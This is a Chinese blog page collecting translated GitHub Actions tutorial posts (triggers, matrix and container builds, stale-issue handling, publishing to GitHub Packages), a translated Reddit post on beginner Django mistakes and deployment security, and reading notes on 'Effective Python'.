现在,我们有了一个工作流程,只要我们对文件docs夹中的文件进行新更改并将其合并到master分支中,就可以运行脚本 publish_docs.sh

原文链接:https://www.edwardthomson.com/blog/github_actions_10_path_triggers.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第9天:部署到GitHub Packages

本月到目前为止,我们已经研究了许多执行构建并运行一些测试的方案。这些都是很棒的工作流程──它们确保进入你的项目的pull request是高质量的,并且你的主分支是健康的。

但是,你通常想采取下一步并部署自己构建的内容。例如,你可能想构建一个容器,并在每次新的主分支合入新功能时将其上传到GitHub Packages。这将确保你有一个可以运行并验证每个更改的容器。

为此,我们要触发向master的推送。(无论是从 git push 还是从合并pull request,只要集成到master中,push 触发器都将运行。)

然后,我们将从docker登录到GitHub Packages。我们可以简单地使用GitHub Actions提供给我们的 GITHUB_TOKEN──令牌对我们存储库中的软件包具有发布权限。

然后,我们将构建容器,并使用包注册的名称对其进行标记(在本例中是 docker.pkg.github.com 其后为容器的名称 ethomson/myrepo/app),并为其指定版本号,即Unix时间。

最后,我们将容器推送到GitHub Packages

现在,我有一个简单的连续部署系统,该系统将始终使用包含来自master分支的最新版本的容器来更新GitHub Packages。

原文链接:https://www.edwardthomson.com/blog/github_actions_9_deploy_to_github_packages.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第8天:处理过时的 issue

存储库中存在过时的issue可能是一个很大的危害。如果你有数年不打算解决的issue,那么就很难找到要关注的重要问题。你永远不会合并的pull request使你看起来好像在忽略该项目。项目中的所有这些杂项都增加了无形的认知负担。

在服务行业工作的任何人都会理解此问题。这就像一个厨师的 场面调度连接 的地方──在他们与他们的配料厨房的设置。

如果让你的现场发生故障,变脏和混乱,你会很快发现自己旋转到位并需要备份。我和一位厨师一起工作,他曾经在匆忙中走到排队的肮脏厨师的工作台旁,解释为什么违规的厨师落后了。他将手掌压在切菜板上,切菜板上撒满了胡椒粒,飞溅的酱汁,一些香菜,面包屑以及通常会漂浮在工作台上的漂浮物和抛弃物,如果不时常用潮湿的侧毛巾将其擦掉。“你看到了吗?” 他打了个招呼,抬起他的手掌,这样厨师就可以看到灰尘和碎屑粘在厨师的手掌上。“那就是你现在的脑袋。”

Anthony Bourdain,厨房机密

当GitHub着手创建Actions平台时,他们希望构建一些对CI/CD工作流程非常有用的东西──构建项目,运行测试并部署它──但这也可以帮助你自动化项目中的常见任务。在这种情况下,请保持存储库的美观和整洁。

启动程序工作流程的底部是关闭陈旧issue和 pull request 的工作流程。

image

它会按计划触发运行,因此在每天UTC午夜:

on:
  schedule:
  - cron: "0 0 * * *"

当它运行时,它将运行过时的操作,该操作将查看存储库中的issue和pull request,并找到几个月没有执行任何操作的请求。然后它将在问题中发布一条消息,并添加一个标签,指示该问题是过时的。如果该问题再保持一周的陈旧状态,则将其关闭。

image

这样可以确保识别出每一个过时的issue,但同时也给人们足够的时间告诉过时的操作以使issue或pull request保持打开状态──许多这些旧issue和PR毕竟具有价值!

最终,处理过时issue的的工作流程是减少存储库中某些干扰并允许你“工作干净”的简便方法。

原文链接:https://www.edwardthomson.com/blog/github_actions_8_stale_issues_and_pull_requests.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第7天:入门工作流程

如果你仅创建了一个或两个GitHub Actions工作流,则可能对如何起步不太关注,但是GitHub Actions团队关注如何起步,他们努力工作,以使你能尽可能轻松地开始使用Actions。

在创建新工作流程时,GitHub首先要考虑的是存储库中的代码类型。GitHub Actions使用成熟的语言工具来了解你的存储库包含哪种代码。这是为GitHub许多其他部分提供支持的工具,其中包括存储库主页上的语言统计栏。

image

对于这个拥有大量JavaScript的存储库,GitHub Actions将选择两个可能的工作流程──运行 npm run buildnpm test 的Node.js CI/CD工作流程(这对应用程序有用),以及执行相同构建和测试运行的打包工作流程,然后将程序包发布到GitHub Packages中。

image

GitHub Actions不仅具有构建和测试项目的能力,还有工作流可以帮助你开始将应用程序部署到云中,无论是AWS,Azure还是Google Cloud。

image

而且,当然,尽管和语言学家一样好,它也不是完美的。许多人在同一存储库中混合了不同的项目,因此你还可以扩展整个启动程序工作流列表。

image

如果你想帮助改善入门工作流程──无论是对现有工作流程进行更改,还是添加全新的语言,都可以在GitHub上进行提交。

原文链接:https://www.edwardthomson.com/blog/github_actions_7_starter_workflows.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第6天:快速失败的矩阵工作流

因此,关于 GitHub Actions 的这些帖子甚至还不到一周,我已经写了很多有关 矩阵工作流 的文章。如你还没猜到,我是忠实粉丝。 😍

但是,如果你开始设置第一个矩阵工作流程,那么你需要注意:默认情况下,矩阵工作流程会快速失败。这就是说:如果矩阵扩展中的一个作业失败,则其余作业将被取消。

这种行为通常非常有益:如果你正在运行 pull request 验证构建,而矩阵中的构建之一失败,则你可能根本不在乎其余的构建是否成功。任何失败都足以表明存在使你无法合并 PR 的问题。

但是,当你从头开始创建工作流时,可能需要迭代一下才能使其第一次正常工作。当作业失败是由于工作流设置中存在问题而不是代码本身存在问题时,关闭快速故障行为作为调试工具会很有帮助。

假设你有一个在 Linux 上运行良好的工作流程,并且希望使用矩阵将其扩展到可以在 macOS 和 Windows 上运行。对于简单的工作流程,这可能会正常工作。但是对于更复杂的事情,你可能需要先设置一些依赖项或安装一些工具,然后才能起作用。因此,很可能你的Linux上运行的工作流如果不做一些修改就无法在 macOS 或 Windows 上运行。

那么,当你第一次运行此新矩阵工作流时会发生什么?你的 Linux,macOS 和 Windows 作业将全部启动,并且 macOS 作业或 Windows 作业将失败,其余工作流程将被取消。

想象一下,首先失败的是 Windows 作业。你会看到的:

image

好的,因此你决定需要修复 Windows 工作流程。 因此,你可以查看出了什么问题,更新工作流程,然后推送更改以将新构建放入队列。 但是,由于排队和调度不是很确定,因此也许这次 macOS 构建首先完成──失败。 现在,你的 Windows 运行被取消,甚至无法找出它是否有效:

image

现在,在调试工作流时,可以通过设置 fail-fast: false 来关闭此行为:

strategy:
  matrix:
    os: [ubuntu-latest, macos-latest, windows-latest]
  fail-fast: false

现在,工作流不会在第一个失败的作业时被取消。它将允许 Windows 和 macOS 作业运行完成。

image

关闭 fail-fast 将帮助你更轻松地迭代工作流程。准备好在生产中运行时,请务必将其重新打开!这将帮助你节省CI运行时间(和金钱)。

原文链接:https://www.edwardthomson.com/blog/github_actions_6_fail_fast_matrix_workflows.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第5天:在容器中构建

昨天我讨论了如何 在GitHub Actions虚拟环境上安装工具和依赖项。 但是,如果你需要更多控制权怎么办? 或者,如果你根本不想在 Ubuntu 上运行,该怎么办? 这是容器发光的地方。

通过创建一个包含所有需要的开发工具以及项目依赖项的容器,你不必操心在工作流运行开始时就对那些设置和安装步骤进行管理。

此外,你还将获得基于容器的开发的优势:你可以在用于CI构建的同一个容器中进行本地构建,因此你可以高度自信地确保 GitHub Actions 中的构建与构建时所看到的与本地匹配。

语法非常简单明了──我不需要自己运行任何 docker pulldocker run 命令。 GitHub Actions 为我解决了这个问题。要获取源代码并在 node:current 容器中运行测试,请执行以下操作:

当我运行此工作流时,GitHub Actions 将从 DockerHub 下载我指定的容器,启动它,然后直接在该容器中执行我指定的运行步骤。

请注意,在容器内运行时,仍然需要指定运行对象。这是因为 Linux 和 Windows 都支持容器──因此,如果你要运行基于 Linux 的容器,则需要 runs-on: ubuntu-latest。 如果要使用基于Windows的容器,请确保设置 runs-on: windows-latest

容器还可以帮助扩展构建矩阵:如果要跨多个 Linux 发行版构建和测试工具,则甚至可以在矩阵中设置容器作业。(因为 矩阵工作流实际上只是可变的替代。)

例如,要在 Debian,Ubuntu 和 CentOS 的旧版和最新版本上构建:

因此,无论你是要直接在我们提供的虚拟环境中还是在你指定的容器中构建,你都可以灵活地选择工作流的运行位置。

原文链接:https://www.edwardthomson.com/blog/github_actions_5_building_in_containers.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第4天:安装工具

昨天我提到 GitHub Actions 提供了 Linux,Windows 和 macOS 虚拟环境,你可以在其中运行工作流。

但是这些环境上实际安装了什么? 原来有很多安装

团队试图通过许多不同的平台使我们的运行器(runners)保持最新状态。 因此,你会发现许多不同版本的Python,Ruby,.NET Core等。 但是──仅仅依靠这些各种各样的开发工具──他们不可能绝对安装所有东西。

有时你需要自己安装。而且由于你拥有一台完整的虚拟机,因此对于每项作业执行,你都可以在其上安装任何所需的软件。

例如,你可能要安装非常好的“ninja”构建工具。

Linux

Linux虚拟环境运行Ubuntu,因此你可以使用 apt 安装可能需要的任何其他工具。 默认情况下,你以非 root 用户身份运行,但是可以使用无密码 sudo。这样你就可以:

run: sudo apt-get install ninja-build

Windows

Chocolatey 是 Windows 的首选软件包管理器,它已安装并可以在 GitHub Actions 虚拟环境中使用。

run: choco install ninja

macOS

在 macOS 上,Homebrew 是推荐的软件包管理器,可在 GitHub Actions 虚拟环境中使用。无需以 root 用户身份运行 Homebrew ──实际上,这是不合时宜的,因此您可以执行 brew install

run: brew install ninja

合在一起

综上所述,如果你想在所有三个平台上安装 ninja,你的工作流程将如下所示

原文链接:https://www.edwardthomson.com/blog/github_actions_4_installing_tools.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第3天:跨平台构建

GitHub Actions 的优点之一是它不仅支持在 Linux 主机上或在容器中运行构建。GitHub 当然提供了Linux虚拟机,但是它们也提供了运行 Windows 和 macOS 的虚拟机。

macOS 虚拟环境尤其重要,因为即使作为开发人员,也不能在虚拟机上运行 macOS,除非你在 Apple 硬件上运行它。因此,如果你要构建跨平台应用程序,则可能会限制你在本地构建和测试自己的应用程序的方式。

要指定主机类型,请使用作业的 runs-on 参数进行指示。 例如,runs-on: macos-latest 将在 macOS 上运行,runs-on: windows-latest 将毫不奇怪在 Windows 上运行。 因此,如果要通过在 Linux,macOS 和 Windows 三个平台上运行 make 来构建应用程序:,则可以将每个平台指定为一个单独的作业。 这是一个例子

但这重复了很多……如果你阅读了昨天有关 矩阵工作流 的文章,你可能还记得我说过矩阵扩展实际上只是简单的变量替换。好吧,即使在运行参数中也是如此。

这意味着你可以使用矩阵来建立跨平台构建,其中只需几行工作流定义即可:

因此,你可以选择:可以使用要在其上运行的虚拟环境指定每个单独的作业,或者,如果有共同的步骤,则可以使用矩阵来运行。

原文链接:https://www.edwardthomson.com/blog/github_actions_3_crossplatform_builds.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第2天:矩阵工作流

拥有 CI/CD 系统的最大优势之一是,它使你可以高效地构建和测试多种配置。在推送之前,你在机器上进行构建和测试当然是必要的,但这几乎是不够的。毕竟,你可能只安装了一个版本的节点。但是,在各种平台上构建将使你充满信心和洞察力,使你的更改可以在你支持的整个生态系统中发挥作用。

Mozilla Tinderbox 是最早引入跨多个配置构建概念的 CI 系统之一。这是革命性的──当我使用 AbiWord 时,我负责了 Tinderbox 的设置。我们有一个充满机器的实验室,以便我们可以测试 Motif 构建和 GTK 构建,并可以针对不同的依赖项进行测试(这是在从可怕的 libc5 到 libc6 迁移的时候),甚至是不同的 C ++ 编译器。

那时,我的工作很大一部分是维护这个装有昂贵计算机的实验室。因此,我最喜欢的 GitHub Actions 特性之一就是矩阵工作流功能也就不足为奇了,它使我能够快速运行多个构建以支持各种配置。

我仍然在编写代码,因此仍然需要使用不同的编译器和不同的依赖项进行构建。但是现在我不需要一个充满机器的实验室,我只需要在 GitHub Actions 中使用矩阵工作流设置即可。

矩阵工作流一开始可能看起来有些让人不知所措,但这实际上只是简单的变量替换。您定义了一组变量,以及应分配给每个变量的一组值。然后,GitHub Actions 将使用这些变量的所有不同扩展来执行工作流。

假设你要测试三个不同的变量,这很快变得非常强大。就我而言,我想用两个不同的 C 编译器(gcc和clang),三个不同的 SSL 后端(OpenSSL,GnuTLS和NSS)以及两个不同的 Kerberos 后端(MIT和Heimdal)进行测试。要测试所有这些不同的组合,那就是2 * 3 * 2 = 12种不同的配置。

但是,我不必定义十二个不同的工作(或更糟的是,必须像在糟糕的过去那样在实验室中设置十二个不同的机器),我只需指定一个包含三个变量的矩阵即可。如果在作业中指定矩阵,则实际上将获得十二个以不同排列运行的作业:

matrix:
  cc: [gcc, clang]
  curl: [openssl, gnutls, nss]
  kerberos: [libkrb5, heimdal]

现在在我的工作中,我可以使用矩阵上下文引用这些变量中的每一个。例如,${{matrix.cc}} 将扩展为 cc 变量的当前值。

以下是一个示例工作流,该工作流安装每个依赖项,并运行我的 autoconf 设置,然后运行 make:

当你运行此工作流程时,你可以快速查看它如何扩展到12个不同的作业。在工作流运行的左侧,你可以看到它们中的每一个。 这样,简单的工作流程就可以迅速扩展。

在其中一个运行中打开步骤时,你可以看到确实我们能够安装依赖项。 如果打开 build (clang, openssl, libkrb5) 任务,实际上正在运行 clang(由 ${CC} --version 显示),libcurl的OpenSSL版本(由 curl-config 显示)和 MIT krb5(由 krb5-config 显示)。

image

因此,你可以看到,你只需使用工作流中的几行矩阵定义就可以构建具有多种配置的强大工作流。

原文链接:https://www.edwardthomson.com/blog/github_actions_2_matrixes.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions 第1天:CI/CD 触发器

GitHub Actions是一个独立的系统:它提供了 CI/CD 构建功能──能够构建和测试 Pull Request 并合并到你的master分支中──但它不只限于构建系统。 它已经集成到GitHub中,并且 只要你的项目库中发生任何事件(例如正在创建发行版或正在评论问题),都可以触发并运行工作流。

我将在这个月更多地讨论那些项目库自动化方案,但是你要知道,这种灵活性将有助于理解如何进行 CI/CD 构建设置。 GitHub Actions 允许你定义一个 触发器 来控制工作流程的运行时间。每当你的项目库中发生与该触发器匹配的操作时,工作流运行都会进入排队队列中准备。

对于 CI/CD 工作流,我喜欢使用 pushpull_request 触发器,并将其范围限定在我感兴趣的分支上。例如:

on:
  push:
    branches:
    - master
  pull_request:
    branches:
    - master

这个触发器将在对master分支进行任何更改时运行你的工作流──(即使它的名字是 push 触发器,也将在你运行 git push 或将 pull request 合并到 master 分支时运行)。对于针对master分支打开的任何 pull request,工作流也将运行,并且将在 pull request 中向你显示验证。

image

如果你熟悉YAML语法,就可能会注意到分支采用数组。 因此,你可以轻松地设置工作流在多个分支中运行,这在你维护单独的发布轨道追踪时非常有用。 例如:

on:
  push:
    branches:
    - master
    - 'releases/**'
  pull_request:
    branches:
    - master
    - 'releases/**'

每当对 master 分支或名称 releases/ 开头的分支 打开 pull request 时,将运行你的工作流。

通过 pushpull_request 触发器,可以轻松设置 CI/CD 样式的工作流程来验证 pull request,并使用 GitHub Actions 合并到你的 master 分支中。

原文链接:https://www.edwardthomson.com/blog/github_actions_1_cicd_triggers.html

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

GitHub Actions Advent Calendar 系列文章 - Index

最近我在做项目 codedays.app 过程中,发现 Github 推出的 Github Actions 可以很方便地用来做CI/CD之类的工作,所以决定将 GitHub Actions Advent Calendar 这个系列的文章做个简单的翻译和整理。这篇文章是所有文章的索引。

每天一个tips:

  • 第1天: CI/CD Triggers
  • 第2天: Matrix Workflows
  • 第3天: Cross-Platform Builds
  • 第4天: Installing Tools
  • 第5天: Building in Containers
  • 第6天: Fail-Fast Matrix Workflows
  • 第7天: Starter Workflows
  • 第8天: Dealing with Stale Issues
  • 第9天: Deploy to GitHub Packages
  • 第10天: Path Triggers
  • 第11天: Secrets
  • 第12天: Information about your Workflow
  • 第13天: Conditionals
  • 第14天: Conditionals with a Matrix
  • 第15天: Sharing Data Between Steps
  • 第16天: Conditionals with Shared Data
  • 第17天: Dependent Jobs
  • 第18天: Artifacts
  • 第19天: Downloading Artifacts
  • 第20天: Container Services
  • 第21天: GitHub Script
  • 第22天: Automerge Security Updates
  • 第23天: Upload Release Builds
  • 第24天: Caching Dependencies
  • 第25天: Sparkle a Christmas Tree
  • 第26天: Self-Hosted Runners
  • 第27天: Deploy to Cloud
  • 第28天: Repository Automation
  • 第29天: Creating an Action
  • 第30天: Integrating Other APIs in an Action
  • 第31天: Adding an Action to the Marketplace

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

学习Django──我犯的初学者错误以及如何避免

这篇文章是 reddit 上用户 unknownguy0518 发表的他在学习Django是所犯的初学者错误,以及他的一些建议。更多具体的内容可以前往对应的 话题 查看。

我是 Django Web 框架的新手。我也不是专业的程序员。我没有任何人的帮助,我学到的一切都是通过反复试验而得出的。我犯了无数的错误,当我回首时,我现在笑了。在艰难学习了很多基础知识之后,我成功地创建了一个简单的网站来添加/更新/删除联系人。它已部署在 Heroku(免费服务器)中。我在这里写的内容纯属我个人观点。如果你是初学者,并且热衷于探索 Django 的世界,则应该阅读这篇文章。它可能会帮助你解决问题。

那些想浏览我的网站的人(仍然需要一些工作),它是:https://djangophonebook.herokuapp.com

以下是我在创建自己的网站的过程中面临的主要挑战:

官方文档与教程

很多具有 Django 经验或其他编码经验的人都会告诉你阅读官方文档,以了解有关这个出色 Web 框架的更多信息。实际是,并非所有人都喜欢这么高的技术细节。乍一看,任何指定这样的框架内部工作的文档都会吓到新手。毫无疑问,Django 文档是非常详细并且组织得很好,但是我建议你观看一些出色的视频教程,使我们对所有可用功能以及如何在实际项目中实现这些功能有所了解。我亲自浏览了 YouTube上 “Corey Schafer” 的 Django 教程。这是我在互联网上找到的最好的教程之一。还有很多其他人,但我总是回头去看他的视频。我还发现 YouTube 上 “CodingEntrepreneurs” 的“尝试 Django” 系列也是一个很好的教程。一旦有了方向感,官方文档就会变得更加有意义。

Django 版本

现在有很多针对 Django 1.x 版本的教程。尽管我们的项目很想使用相同的版本,但我强烈建议你使用 Django 的最新稳定版本(译者注:翻译时是2020年1月,最新版本为是 2.2.9)。它不仅消除了重写代码,而且还使我们能够使用旧版本可能没有的新功能。

使用 Git 和 GitHub

刚开始处理项目时,我忽略了使用 Git 维护版本控制。有一天,当我清除计算机中的一些旧文件夹时,我不小心删除了整个项目文件夹。这时我才意识到使用 Git 跟踪我在项目中所做的更改的重要性时。对于像我这样的新手来说,花了一段时间才弄清楚如何使用它(有时我仍在为它而苦苦挣扎),但它为我省去了很多麻烦。我还使用 GitHub 将所有代码转储为一个开源项目。你应该考虑使用 Git。如果你搞砸了并想恢复到项目的旧版本,它将对你有很大帮助。相信我,重新编写代码真的很令人沮丧。

使用 .gitignore 文件

如果使用的是 Git,请确保还使用 gitignore 文件。添加你不希望 Git 跟踪的所有文件或文件夹。有一个 GitHub 链接(https://github.com/github/gitignore),我参考的是 Python.gitignore 文件,并将所有内容从该文件复制粘贴到我的 gitignore 文件中。尽管某些细节不一定特定于 Django,但我将一切保持不变。它涵盖了我的用例的所有内容。我强烈建议你以此为起点。之后,你可以根据需要修改文件。

提升你的前端技能

是的,你将需要它。你将需要至少了解 HTML 的基础,才能在 Django 中创建模板。了解一点 CSS 和 JavaScript 会更好。它可以帮助进一步自定义网站的外观。对于前端,我是一个完全的菜鸟。我知道只有足够的 HTML 可以创建一个准系统模板,而对 CSS 的了解则很少,甚至不考虑自定义我的网站。幸运的是,对于像我这样的人,Bootstrap 可以为我们提供现成的小组件,可以在我的网站上使用。它简化了我的许多前端要求。我的项目完全基于 HTML 和 Bootstrap 构建。

使用虚拟环境

为你的项目创建一个单独的虚拟环境是一个好习惯。当你准备部署项目时,这也将派上用场。我艰难地了解了它的重要性。现在,我会首先创建一个虚拟环境,安装所有必需的软件包,然后在我的项目上工作。

使用单独的 settings.py 文件进行开发和生产

我没有碰到太多的教程来解释为什么在开发和生产过程中使用单独的 settings.py 文件是个好主意。单独的文件可减少混乱,并使代码测试效率更高。当你要进行大型项目时,请记住这一点。尽管我从未实现过它,但许多专家推荐它。

创建自定义用户模型

大多数教程使用内置的用户模型来存储和处理与用户相关的数据。如果你想将电子邮件ID或手机号码用作登录ID,该怎么办?如果你希望在注册时从用户那里收集自己的某些字段,例如城市,省份,性别等,该怎么办?你可以通过创建自己的自定义用户模型来做到这一点。那时你应该考虑遍历 AbstractUserAbstractBaseUser 类。我通常参考两个网站── https://simpleisbetterthancomplex.com/https://wsvincent.com/ 来实现此目的。 YouTube 上的 CodingEntrepreneurs(https://www.youtube.com/watch?v=HshbjK1vDtY)在其视频之一中还介绍了创建自定义用户模型。我强烈建议你观看它,以了解其真正工作原理,而不仅仅是复制粘贴代码。

使用社交登录

当今大多数网站都提供了使用多种社交登录之一(例如,使用 Google 登录,使用 Facebook 登录等)登录或注册的选项。以我的个人经验,浏览我网站的大多数用户都使用了社交登录我提供的登录选项,而不是标准的注册过程。在将其付诸实践之前,在你的项目中实现它非常有意义。 “Django-Allauth” 库是一个非常好的开始,我曾经用它来实现 Google 登录。

设计模型

在部署项目之前,考虑一下要存储在数据库中的数据类型始终是一个好主意。哪些字段应该是必填字段,哪些字段可以是可选字段,在用户注册时要捕获的信息,所有这些都必须事先进行仔细考虑。网站上线后,对模型进行任何更改都会证明是一件非常昂贵的事情,因为我犯了这个错误。

基于函数的视图(FBV)与基于类的视图(CBV)

对于像我们这样的初学者来说,这始终是一个难题。根据我的经验,我发现基于通用类的视图非常容易编写,所用的代码行数少得多,并且使事情看起来更加整洁。这是我们真正可以看到所有魔术发生的地方,因为 Django 在后端为我们完成了所有繁重的工作。但是,我还发现,使用 CBV 实现任何自定义逻辑不是非常用户友好。我在互联网上也找不到太多有关如何使用和覆盖现有 CBV 方法的资料。这正是基于函数的视图蓬勃发展的地方。它们需要编写更多的代码行,解释起来可能会更复杂,但是当我们必须实现任何自定义逻辑时,它们就可能会显得很强大。了解 CBV 和 FBV 的工作原理确实有帮助。但是对于大多数用例来说,CBV 可以轻松完成工作。这是我创建视图时的首选路径。

路由和 URL

除了设计模型之外,在创建项目时规划所有路由也很有意义。清楚了解各种 URL 还可简化编写其相应视图的过程。很重要的一点是我们要确保各个应用程序之间的 URL 保持一致并准备进行 CRUD 操作。当编写 REST API 入口时,它也使事情变得更容易。

在生产环境中处理静态文件和媒体文件

很少有教程可以告诉你在尝试部署项目时将面临的一些挑战。我试图在 Heroku 上部署我的应用。当你设置 DEBUG = False 时,默认情况下 Django 不支持提供静态文件和媒体文件。对于静态文件,WhiteNoise 库为我完成了这项工作。它的文档也很简单。 Heroku 不存储媒体文件。我们必须使用其他服务,例如 Amazon 的 S3,并使用所有必需的参数相应地更新 settings.py 文件。 S3也可以用于提供静态文件,但主要缺点是它不是免费的。结果,我的网站当前无法加载用户选择的任何个人资料图片。我尚未找到替代方法。预先规划好你要如何提供媒体文件,并考虑到所涉及的成本。

处理不同用户的权限

这是要考虑的重要点。我面临的挑战之一是弄清楚如何为不同的用户授予或限制对特定 URL 的访问。例如,基于某些条件,用户 A 可能具有对 URL 的只读访问权限,而用户 B 可能具有对同一 URL 的写访问权限。你不希望一个用户访问另一个用户配置文件并对其进行更新。那是你需要确保为访问的 URL 授予适当权限的地方。Corey Schafer 的教程对此进行了很好的介绍。

创建自定义中间件

涉及该主题的教程并不多。我还没有弄清楚如何创建自己的中间件。当我有更多信息时,我将更新此部分。

改善网站的安全性

我还没有看到太多的教程来解释 python manage.py check -–deploy,以及为什么它对确保我们在网站上线之前具有必要的安全性很重要。在启用网站之前,你应该探索一些东西。网站的安全性和用户数据的安全性必须受到重视。

保护你的管理界面

我喜欢 Django 的原因之一是因为它内置了许多安全功能。其中之一就是功能齐全的管理界面。用户访问管理页面后,他/她实际上就可以滥用数据。创建超级用户时,请确保不要使用诸如 adminmanager 之类的通用名称作为登录ID。另外,请确保使用很难猜到的非常强的密码。另外,将管理页面的路径更改为完全不同且难以确定的名称。避免使用默认的 admin/ 路径。我还遇到了一个名为 django-admin-honeypot 的第三方库,该库通过创建类似管理员的页面来欺骗未经授权的用户,但没有执行其他任何操作。此外,它还在表中捕获了这些用户的详细信息,例如其 IP 地址和其他参数,这些表可以在实际的 Admin 界面中访问。然后,你可以决定是否要阻止他们访问你的网站或采取必要的措施。

保护秘密密钥和其他关键数据

使你的项目成为开放源代码的挑战之一就是要保护 SECRET KEY 和其他个人价值,例如你不希望世界其他地方看到的电子邮件ID和密码。我遵循 Corey Schafer 在他的 YouTube 视频中提供的建议,并将所有这些重要值保存为环境变量。万一你有意或无意间发现你的秘密密钥,必须立即进行更改。你可以使用 python 自带的 secrets 模块(需要 Python 3.6+)来生成强密钥。同样,Corey Schafer 的教程也涵盖了这一部分。

打造响应式网站

很少有教程着重介绍使桌面和移动设备友好的网站。最初创建网站时,它在PC上可以正常显示,但是当我尝试在移动设备上访问它时,我意识到必须重做一些模板。在创建模板时立即考虑到这一点,以后可以节省大量的工作量。我主要使用B ootstrap 作为前端,它着重于创建移动优先项目。

编写测试

每个应用程序都会创建一个 tests.py 文件。我仍然不知道如何编写测试。我观察到,GitHub上 可用于 Python 或 Django 的许多软件包或库确实进行了大量测试。同样,很少有教程解释如何编写测试。这是我仍在尝试解决的问题。当我有更多信息时,我将更新此部分。

使用 REST API

尽管 REST API 本身并不是一个单独的话题,但像我们这样的初学者应该知道,为什么对其进行计划很重要,如何创建 API 以及如何将其与 Angular 或 React 等其他前端集成。以我的经验,在设计视图时同时编写 REST API 确实可以使事情更高效,并且省去了尝试弄清楚权限和其他方面的麻烦。“ Django Rest Framework” 是 REST API 的首选库。我通常会创建一个单独的名为 “api” 的应用,并在此处编写所有其他应用的序列化器和视图。它将所有内容都放在一个地方。尽管我的项目有 API 入口,但我仍然必须创建一些 API。

在部署之前设置 DEBUG = False

在部署期间保留 DEBUG = True 是常见错误,我也犯了。在启用网站之前,请不要忘记在 settings.py 文件中将 DEBUG 值设置为 False。你不希望最终用户在URL引发错误时看到所有异常和其他与编码有关的信息。 Corey Schafer 很好地解释了如何在他的教程中进行处理。

部署项目

对于像我这样的初学者来说,这是另一个真正的麻烦。我应该在哪里部署我的项目(Heroku,PythonAnywhere,DigitalOcean,AWS等)?我应该做什么准备工作?我在生产中使用哪个数据库?我需要什么所有文件来开始部署(例如 requirements.txt,procfile 等)?我应该去免费服务器还是付费服务器?很多事情要考虑。我浏览了 Corey Schafer 在 YouTube 上的视频,最终将其部署在免费的 Heroku 服务器上。

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

《编写高质量Python代码的59个有效方法》笔记

1. Python版本

  • Python 3
  • CPython, PyPy, Jython, IronPython

2. PEP8

代码风格一致

3. bytes,str,unicode(只讨论Python 3)

Python 3中:bytes实例包含原始的8位值,str实例包含Unicode字符。把Unicode字符表示为二进制数据,最常见的编码方式是UTF-8。

  • Unicode 字符 => 二进制:encode
  • 二进制 => Unicode 字符:decode

Python程序中,一定要把编码和解码放在最外围来操作。程序的核心部分应该使用Unicode字符类型,而且不要对字符编码做任何假设。

定义 to_strto_bytes 方法。

Python 3中,open默认以utf-8编码打开,而不是二进制。

4. 用辅助函数来取代复杂表达式

5. 序列切片

  1. liststrbytes 以及实现了 __getitem____setitem__ 的类;
  2. 切片时下表可以越界,但访问元素时不能;
  3. 当start索引为0或者end索引为列序列长度时,应该将其省略;
  4. 对list赋值时,使用切片会把原序列相关范围的值替换成新值,即使长度不一样;
>>> a = [1,2,3,4,5,6,7]
>>> a[1:6] = [9]
>>> a
[1,9,7]

6. 步进式切割

  1. 避免在一个切片操作中同时使用 startendstride
  2. 避免使用负数做stride;

7. 用列表推导代替map和filter

  1. list, 字典和集合支持列表推导;
  2. 代码清晰;

8. 不要使用含有两个以上表达式的列表推导

会变得难理解

9. 用生成器表达式来改写数据量较大的列表推导式

  1. 数据量较大时,列表推导式会占用大量内存

  2. ()

a_long_list = [1,2,3,4,5]
value = [len(x) for x in a_long_list]
print(value)

=>

value = (len(x) for x in a_long_list)
print(next(value))
  1. 可以组合
roots = ((v, v ** 0.5)for v in value)
print(next(roots))

10. range => enumerate

enumerate 可以把各种迭代器包装成生成器,以便稍后产生输出值。 enumerate 计数下表默认从 0 开始,可以修改。

11. 用 zip 同是遍历两个迭代器

  1. 迭代器长度相同
  2. 不同时使用 itertools.zip_longest

12. 不要在 forwhile 循环后面写 else

if/else, try/except/elseelse 不同,容易误解

13. try/except/else/finally

  1. finally块:既要将异常向上传播,又要在异常发生时做清理工作
  2. ry/except/else:except使异常传播变得清晰,else便于自己处理代码

14. 尽量用异常来表示特殊情况,而不要返回 None

比如除以0时,抛出异常

15. 在闭包中使用外围作用域中的变量

  1. Python3 获取闭包中的变量:nonlocal,但是nonlocal不能延伸到模块级别;
  2. Python2 中可以使用可变值来实现,比如包含单个元素的列表。
  3. 除非函数简单,尽量不使用 nonlocal

16. 考虑用生成器改写直接返回列表的函数

yield

17. 在参数上迭代时需要多加小心

  1. 参数是迭代器时要多加注意;
  2. 迭代器协议:容器和迭代器,iternext
  3. __iter__
  4. 判断是否为迭代器:iter(target) == iter(target) 为True,则为迭代器

18. 用数量可变的位置参数减少视觉混乱

  1. 星号参数(*args),*操作符
  2. 变长参数在传给函数时,总是先转化成元组,如果是生成器,注意内存使用;
  3. 添加新参数时,需要修改原来函数使用。可使用关键字形式指定的参数解决这个问题。

19. 用关键字参数表达可选行为

  1. 位置参数必必须出现在关键字之前;每个参数只能指定一次;
  2. 关键字参数;易读,可提供默认值,扩充参数方便;

20. 用None和文档字符串描述具有动态默认值的参数

  1. 参数的默认值,只会在程序加载模块并读到本函数的定义时评估一次,对于{}[]等动态值会出现奇怪行为。

21. 用只能以关键值形式指定的参数来确保代码明晰

Python 3 中:

def safe_division_before(number, divisor, ignore_overflow=False, ignore_zero_divisor=False):
    ...

==>

def safe_division_after(number, divisor, *, ignore_overflow=False, ignore_zero_divisor=False):
    ...

